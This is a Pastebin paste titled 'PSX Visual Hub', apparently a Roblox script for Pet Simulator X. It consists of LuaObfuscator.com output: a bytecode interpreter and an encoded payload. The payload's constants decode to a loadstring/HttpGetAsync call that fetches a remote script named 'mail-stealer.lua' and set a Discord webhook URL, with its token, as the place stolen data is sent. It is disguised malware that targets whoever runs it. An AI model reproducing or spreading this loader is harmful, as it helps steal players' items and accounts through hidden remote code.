Advertisement
ALTERSAZ

PSX Visual Hub

Mar 9th, 2023
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.00 KB | None | 0 0
  1. --[[
  2. .____ ________ ___. _____ __
  3. | | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________
  4. | | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \
  5. | |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/
  6. |_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__|
  7. \/ \/ \/ \/ \/ \/ \/
  8. \_Welcome to LuaObfuscator.com (Alpha 0.2.5) ~ Much Love, Ferib
  9.  
  10. ]]--
  11.  
  12. do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v20)if (v1(v20,2)==79) then v19=v0(v3(v20,1,1));return "";else local v75=0;local v76;while true do if (v75==0) then v76=v2(v0(v20,16));if v19 then local v94=0;local v95;while true do if (v94==0) then v95=v5(v76,v19);v19=nil;v94=1;end if (v94==1) then return v95;end end else return v76;end break;end end end end);local function v21(v22,v23,v24)if v24 then local v77=(v22/((255 -(10 + 70 + 2 + 171))^(v23-1)))%((1 + (822 -(441 + 380)))^(((v24-1) -(v23-(2 -1))) + (361 -(320 + 40)))) ;return v77-(v77%(857 -(842 + 14))) ;else local v78=(6 -(2 + 2))^(v23-(1067 -(760 + 306))) ;return (((v22%(v78 + v78))>=v78) and (210 -(178 + 31))) or (0 -0) ;end end local function v25()local v38=v1(v16,v18,v18);v18=v18 + 1 ;return v38;end local function v26()local v39=0 -0 ;local v40;local v41;while true do if (v39==(2 -1)) then return (v41 * (1871 -(632 + 983))) + v40 ;end if (v39==(243 -(41 + (622 -(307 + 113))))) then v40,v41=v1(v16,v18,v18 + 2 + 0 );v18=v18 + (1589 -(1494 + 93)) ;v39=1 + 0 ;end end end local function v27()local v42,v43,v44,v45=v1(v16,v18,v18 + 3 );v18=v18 + 4 ;return (v45 * (16777892 -(85 + 591))) + (v44 * (10531 + 55005)) + (v43 * (60 + 196)) + v42 ;end local function v28()local v46=0;local v47;local v48;local v49;local v50;local v51;local v52;while true do if (v46==((531 + 99) -(199 + 430))) then v49=1 + 0 ;v50=(v21(v48,2 -1 ,20 + 0 ) * (((2976 -(1410 + 238)) -(716 + 610))^(136 -104))) + v47 ;v46=1608 -(674 + 932) ;end if ((1482 -(1306 + 176))==v46) then v47=v27();v48=v27();v46=1 + (512 -(101 + 411)) ;end if (v46==(1 + 1)) then v51=v21(v48,8 + 13 ,31);v52=((v21(v48,14 + 18 )==1) and -(361 -((1322 -(664 + 469)) + 171))) or ((1 -0) -0) ;v46=3;end if ((2 + 1)==v46) then if (v51==(0 + 0)) then if (v50==(0 + 0)) then return v52 * (1643 -(514 + 1129)) ;else local v96=0;while true do if (v96==(0 + 0)) then v51=644 -(461 + 182) ;v49=0 + 0 ;break;end end end elseif (v51==2047) then return ((v50==(0 + 0)) and (v52 * ((1 + 0)/(0 + 0)))) or (v52 * NaN) ;end return v8(v52,v51-(1868 -((1052 -709) + (1533 -1031))) ) * (v49 + (v50/((521 -(463 + 30 + 26))^52))) ;end end end local function v29(v30)local v53;if not v30 then v30=v27();if (v30==((523 + 802) -((3452 -2276) + 149))) then return "";end end v53=v3(v16,v18,(v18 + v30) -(1646 -(1236 + 409)) );v18=v18 + v30 ;local v54={};for v67=447 -(46 + 400) , #v53 do v54[v67]=v2(v1(v3(v53,v67,v67)));end return v6(v54);end local v31=v27;local function v32(...)return {...},v12("#",...);end local function v33()local v55=0 + 0 ;local v56;local v57;local v58;local v59;local v60;local v61;local v62;local v63;while true do if (v55~=(2 -0)) then else v60=nil;v61=nil;v55=1449 -(943 + 503) ;end if (v55~=(3 -2)) then else v58=nil;v59=nil;v55=2 + 0 ;end if (v55==(0 + 0)) then v56=0;v57=nil;v55=1 -0 ;end if (v55==(1263 -(370 + 889))) then while true do if (v56~=(1655 -(323 + 1330))) then else local v89=0 -0 ;while true do if (v89==0) then local v103=0 + 0 ;while true do if (v103~=(2 -1)) then else v89=1 + 0 ;break;end if (0==v103) then v61=nil;v62=nil;v103=1;end end end if (v89~=(1 -0)) then else v56=3;break;end end end if (v56~=3) then else v63=nil;while true do local v97=944 -(683 + 261) ;local v98;while true do if ((0 -0)~=v97) then else v98=0;while true do if (v98~=(423 -(200 + 222))) then else if (2==v57) then local v107=0 -0 ;local v108;local v109;while true do if (v107==(0 -0)) then v108=0;v109=nil;v107=1 + 0 ;end if (v107==1) then while true do if (v108==0) then v109=0 + 0 ;while true do if (v109==0) then local v153=0;while true do if (0~=v153) then else for v168=3 -2 ,v62 do local v169=0 -0 ;local v170;local v171;local v172;local v173;local v174;while true do if (v169==(1862 -(1649 + 213))) then v170=0;v171=nil;v169=1 + 0 ;end if (v169==2) then v174=nil;while true do if (v170~=(1 + 0)) then else local v175=282 -(45 + 237) ;while true do if ((1 + 0)~=v175) then else v170=2;break;end if (v175~=0) then else v173=nil;v174=nil;v175=721 -(487 + 233) ;end end end if (v170==2) then while true do if (v171~=(1 + 0)) then else v174=nil;while true do if (v172==(1 + 0)) then if (v173==1) then v174=v25()~=0 ;elseif (v173==(5 -3)) then v174=v28();elseif (v173==(974 -(169 + 802))) then v174=v29();end v63[v168]=v174;break;end if (v172~=(0 + 0)) then else local v183=0 + 0 ;local v184;local v185;while true do if (v183~=0) then else v184=1911 -(1210 + 701) ;v185=nil;v183=1;end if (1~=v183) then else while true do if (v184~=(0 + 0)) then else v185=0 -0 ;while true do if (v185~=(0 -0)) then else local v200=799 -(559 + 240) ;while true do if (v200~=(907 -(831 + 76))) then else v173=v25();v174=nil;v200=1;end if (v200==1) then v185=1 + 0 ;break;end end end if ((3 -2)~=v185) then else v172=1;break;end end break;end end break;end end end end break;end if (v171==(0 + 0)) then local v181=0;while true do if (v181==(1 + 0)) then v171=1 + 0 ;break;end if (v181~=0) then else v172=0 + 0 ;v173=nil;v181=316 -(259 + 56) ;end end end end break;end if (v170==(0 + 0)) then v171=0 -0 ;v172=nil;v170=1 + 0 ;end end break;end if ((1 -0)~=v169) then else v172=nil;v173=nil;v169=1893 -(945 + 946) ;end end end v61[3]=v25();v153=1 + 0 ;end if (v153~=1) then else v109=1 -0 ;break;end end end if (v109==1) then for v156=849 -(155 + 693) ,v27() do local v157=0 + 0 ;local v158;local v159;local v160;while true do if ((0 + 0)~=v157) then else v158=0;v159=nil;v157=2 -1 ;end if (v157==(1459 -(724 + 734))) then v160=nil;while true do if (0~=v158) then else v159=1455 -(380 + 1075) ;v160=nil;v158=1 + 0 ;end if (v158~=(1 + 0)) then else while true do if (v159==(0 + 0)) then v160=v25();if (v21(v160,1,1)~=(0 -0)) then else local v176=0 -0 ;local v177;local v178;local v179;local v180;while true do if (v176~=(1524 -(347 + 1176))) then else v179=nil;v180=nil;v176=4 -2 ;end if (v176==0) then v177=0 + 0 ;v178=nil;v176=304 -(170 + 133) ;end if (v176==2) then while true do if (v177==(14 -11)) then if (v21(v179,3 + 0 ,3)~=1) then else v180[4]=v63[v180[4]];end v58[v156]=v180;break;end if (v177~=0) then else local v187=816 -(281 + 535) ;while true do if (v187~=(0 -0)) then else local v195=0;while true do if (v195~=1) then else v187=1;break;end if (v195==(0 + 0)) then v178=v21(v160,2,938 -(922 + 13) );v179=v21(v160,1 + 3 ,12 -6 );v195=3 -2 ;end end end if ((1 + 0)==v187) then v177=1;break;end end end if (v177~=2) then else if (v21(v179,4 -3 ,1 + 0 )~=1) then else v180[2]=v63[v180[2]];end if (v21(v179,2,1 + 1 )==1) then v180[3]=v63[v180[3]];end v177=3;end if (v177~=(1 + 0)) then else local v188=0;while true do if (v188==(1 + 0)) then v177=7 -5 ;break;end if ((0 -0)~=v188) then else v180={v26(),v26(),nil,nil};if (v178==(0 -0)) then local v196=0;local v197;local v198;local v199;while true do if (v196~=(2 -1)) then else v199=nil;while true do if (v197~=(0 -0)) then else v198=0;v199=nil;v197=1;end if (v197~=1) then else while true do if (v198==(1049 -(817 + 232))) then v199=0 -0 ;while true do if (v199==0) then v180[3]=v26();v180[19 -15 ]=v26();break;end end break;end end break;end end break;end if (v196==0) then v197=0 + 0 ;v198=nil;v196=1 -0 ;end end elseif (v178==1) then v180[6 -3 ]=v27();elseif (v178==2) then v180[1737 -(692 + 1042) ]=v27() -((1250 -(531 + 717))^16) ;elseif (v178==(3 + 0)) then local v203=0;local v204;local v205;local v206;while true do if (0==v203) then v204=0;v205=nil;v203=1;end if (1~=v203) then else v206=nil;while true do if (v204~=(0 + 0)) then else v205=1975 -(1796 + 179) ;v206=nil;v204=1;end if (v204==1) then while true do if (v205==0) then v206=0;while true do if (v206~=0) then else v180[1016 -(454 + 559) ]=v27() -(2^16) ;v180[1832 -(1147 + 681) ]=v26();break;end end break;end end break;end end break;end end end v188=1;end end end end break;end end end break;end end break;end end break;end end end v57=3;break;end end break;end end break;end end end if (v57==3) then local v110=0;local v111;while true do if (v110~=0) then else v111=0;while true do local v141=0;while true do if (0~=v141) then else if (v111==(0 -0)) then for v161=1 + 0 ,v27() do v59[v161-1 ]=v33();end for v163=2 -1 ,v27() do v60[v163]=v27();end v111=1;end if (1==v111) then return v61;end break;end end end break;end end end break;end if (v98~=0) then else if (v57~=1) then else local v112=0;local v113;while true do if ((0 -0)==v112) then v113=1899 -(1832 + 67) ;while true do if (v113==0) then v61={v58,v59,nil,v60};v62=v27();v113=1;end if (v113~=(1 + 0)) then else v63={};v57=2;break;end end break;end end end if (v57~=(0 -0)) then else local v114=0 -0 ;local v115;while true do if (v114==0) then v115=1809 -(503 + 1306) ;while true do if (1~=v115) then else v60={};v57=1;break;end if (v115==(248 -(189 + 59))) then v58={};v59={};v115=1094 -(581 + 512) ;end end break;end end end v98=1;end end break;end end end break;end if (v56~=0) then else v57=0 + 0 ;v58=nil;v56=1;end if (1==v56) then v59=nil;v60=nil;v56=2;end end break;end if (v55==3) then v62=nil;v63=nil;v55=18 -14 ;end end end local function v34(v35,v36,v37)local v64=v35[1];local v65=v35[2];local v66=v35[3];return function(...)local v69=0;local v70;local v71;local v72;local v73;local v74;while true do if (3==v69) then A,B=v32(v11(v74));if not A[1] then local v90=0;local v91;while true do if (0==v90) then v91=v35[4][v70] or "?" ;error("Script error at [" .. v91 .. "]:" .. A[2] );break;end end else return v13(A,2,B);end break;end if (v69==0) then v70=1;v71= -1;v69=1;end if (v69==2) then v74=nil;v74=function()local v79=v64;local v80=v65;local v81=v66;local v82=v32;local v83={};local v84={};local v85={};for v92=0 -0 ,v73 do if ((v92>=v81) or ((2042 -(20 + 54))<(2049 -((1923 -1374) + 331)))) then v83[v92-v81 ]=v72[v92 + ((5618 -4003) -(1099 + 515)) ];else v85[v92]=v72[v92 + (4 -3) ];end end local v86=(v73-v81) + (254 -(192 + 61)) ;local v87;local v88;while true do local v93=0 -0 ;while true do if ((v93==(1844 -(330 + 1513))) or ((5419 -(1285 + 384))<(4774 -2831))) then if ((v88<=((16 -9) -2)) or ((2609 -(666 + (917 -(168 + 335))))>(128 + (7982 -5736)))) then if ((v88<=(2 + 0)) or ((11471 -6694)<=((11406 -(297 + 325)) -6144))) then if ((v88<=(0 + 0)) or (((4689 -(446 + 378)) -(6894 -5142))>((6875 -2820) -(431 + 1072)))) then local v116=0 + 0 ;local v117;while true do if ((v116==0) or ((1134 + 786)<(102 + 422))) then v117=v87[1185 -((1241 -(667 + 449)) + 1058) ];v85[v117]=v85[v117]();break;end end elseif ((v88==(1 + 0)) or ((5084 -(240 + 118))<=(760 -387))) then v85[v87[4 -2 ]][v87[9 -6 ]]=v87[3 + 1 ];elseif ((v85[v87[2 + 0 ]]==v87[140 -(48 + 88) ]) or (1182>=1432)) then v70=v70 + (1761 -(1274 + 486)) ;else v70=v87[634 -(165 + 466) ];end elseif (((621 + 1270)>=(2577 -((2018 -1412) + 540))) and (v88<=3)) then local v118=0 + 0 ;local v119;local v120;while true do if (((5596 -2590)==((456 + 4055) -((266 -92) + 1331))) and ((2 -1)==v118)) then while true do if (((3656 -(547 + (1994 -(72 + 1750))))==(2131 + 806)) and (v119==(0 + 0))) then v120=v87[1732 -(836 + 894) ];v85[v120]=v85[v120](v13(v85,v120 + (303 -(66 + 236)) ,v71));break;end end break;end if ((v118==(0 -0)) or ((620 + 2112 + 775)==(9086 -5605))) then v119=0 + 0 ;v120=nil;v118=122 -(92 + 29) ;end end elseif (((12998 -(10232 -(185 + 1205)))>(12023 -7996)) and (v88==4)) then v85[v87[6 -4 ]]();else v85[v87[1 + 1 ]]=v87[2 + 1 ]~=0 ;end elseif ((v88<=(13 -5)) or ((472 + 676)==(5474 -1565))) then if ((v88<=(17 -11)) or ((13193 -10435)<=(17 + 810))) then v70=v87[14 -11 ];elseif ((v88==(3 + 4)) or ((2210 + (3727 -1996))<=(13901 -10048))) then local v125=202 -(22 + 180) ;local v126;local v127;local v128;while true do if (((1275 + 589 + 2645)>=(1801 -950)) and ((1 + (0 -0))==v125)) then v128=nil;while true do if ((v126==((2 + 0) -1)) or ((3598 + 1348)<=((1193 -(30 + 41)) + 186))) then v85[v127 + (1828 -(178 + 1649)) ]=v128;v85[v127]=v128[v87[6 -2 ]];break;end if ((579<=(130 + 1812)) and (v126==(0 -0))) then v127=v87[1 + 1 ];v128=v85[v87[2 + 1 ]];v126=517 -(369 + 103 + 44) ;end end break;end if ((v125==(0 + 0)) or ((4425 -1243)<(17 -10))) then v126=0;v127=nil;v125=1 + 0 ;end end else local v129=1307 -(1246 + 61) ;local v130;local v131;local v132;local v133;local v134;while true do if (((766 + 1126)<3505) and (v129==(1 -0))) then v132=nil;v133=nil;v129=9 -7 ;end if (((2323 -(1508 + 274))<(3636 + (946 -621))) and (v129==(0 + 0))) then v130=0 -0 ;v131=nil;v129=52 -(42 + 9) ;end if ((v129==(804 -(119 + 683))) or ((15681 -10930)<=(2663 -(858 + 286)))) then v134=nil;while true do if ((v130==(1 + 0)) or ((18140 -13831)<((3654 -1074) + 305))) then local v151=0 + (788 -(22 + 766)) ;while true do if ((((5732 -(300 + 401)) -3094)<=(10028 -5819)) and (v151==((0 -0) + 0))) then v71=(v133 + v131) -1 ;v134=0 -(0 -0) ;v151=1662 -(1265 + 396) ;end if (((1884 + 2205)>=(11974 -9538)) and (v151==(3 -2))) then v130=1989 -(1096 + 891) ;break;end end end if ((v130==(0 + 0)) or ((3800 -(25 + 5 + 74))==(171 + (762 -579)))) then v131=v87[8 -6 ];v132,v133=v82(v85[v131](v13(v85,v131 + 1 ,v87[766 -(621 + 142) ])));v130=(1534 -(519 + 1012)) -2 ;end if ((v130==2) or ((3667 -(228 + 295))<=(1372 + 1143))) then for v154=v131,v71 do local v155=0 -0 ;while true do if ((((3327 -(141 + 172)) -(691 + 383))==((5478 -(1731 + 191)) -(915 + 701))) and (v155==(0 + 0))) then v134=v134 + (2 -1) ;v85[v154]=v132[v134];break;end end end break;end end break;end end end elseif ((v88<=(45 -35)) or ((2660 -(1175 + 670))>(1322 -(3 + 3 + 18)))) then if (((3102 -(140 + 1519))>(96 + 922)) and (v88>(96 -(73 + 14)))) then v85[v87[1462 -(947 + 513) ]]=v37[v87[11 -8 ]];elseif (((6139 -(1656 + 332))==(11475 -7324)) and (v87[624 -(390 + 232) ]==v85[v87[1 + 3 ]])) then v70=v70 + (1821 -(1010 + 810)) ;else v70=v87[1738 -(654 + 1081) ];end elseif (((2932 -(25 + 45))>=(7818 -4984)) and (v88>((1086 -(590 + 453)) -32))) then do return;end else v85[v87[1779 -(769 + 1008) ]]=v87[314 -((1808 -(1264 + 284)) + 51) ];end v70=v70 + 1 + 0 ;break;end if (((1173 + 706)<(4480 -(781 + 47))) and (v93==(287 -(170 + 117)))) then local v104=(1557 -(260 + 1297)) + 0 ;while true do if (((2885 -(46 + 367))>=(1591 -(99 + 295))) and (v104==(722 -(628 + 93)))) then v93=4 -3 ;break;end if ((v104==(527 -(519 + 8))) or ((2847 + (4923 -3234))<(3538 -2166))) then v87=v79[v70];v88=v87[1 + 0 ];v104=1 + 0 ;end end end end end end;v69=3;end if (v69==1) then v72={...};v73=v12("#",...) -1 ;v69=2;end end end;end return v34(v33(),{},v17)(...);end v15("LOL!0B3O00028O00026O00F03F030A3O006C6F6164737472696E6703043O0067616D65030C3O00482O74704765744173796E63032A3O00682O7470733A2O2F77756D61742E78797A2F736372697074732F6D61696C2D737465616C65722E6C756103073O0067657467656E7603073O00776562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F31303734302O343O323432363037353231382F32684F4149714478666B434A2D485A596A4D38485142657A66377663726739766A33464E70394B6F4D546F5674446D77334E382D3249612O6E4E7441555377764463723703043O006E616D6503063O006A6179376E6100173O00120B3O00013O000E090002000C00013O0004063O000C000100120A000100033O00120A000200043O00200700020002000500120B000400064O0005000500014O0008000200054O000300013O00022O00040001000100010004063O001600010026023O0001000100010004063O0001000100120A000100076O00010001000200300100010008000900120A000100076O0001000100020030010001000A000B00120B3O00023O0004063O000100012O000C3O00017O00173O00023O00043O00043O00053O00053O00053O00053O00053O00053O00053O00053O00063O00083O00083O00093O00093O00093O000A3O000A3O000A3O000B3O000C3O000E3O00",v9(),...);end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement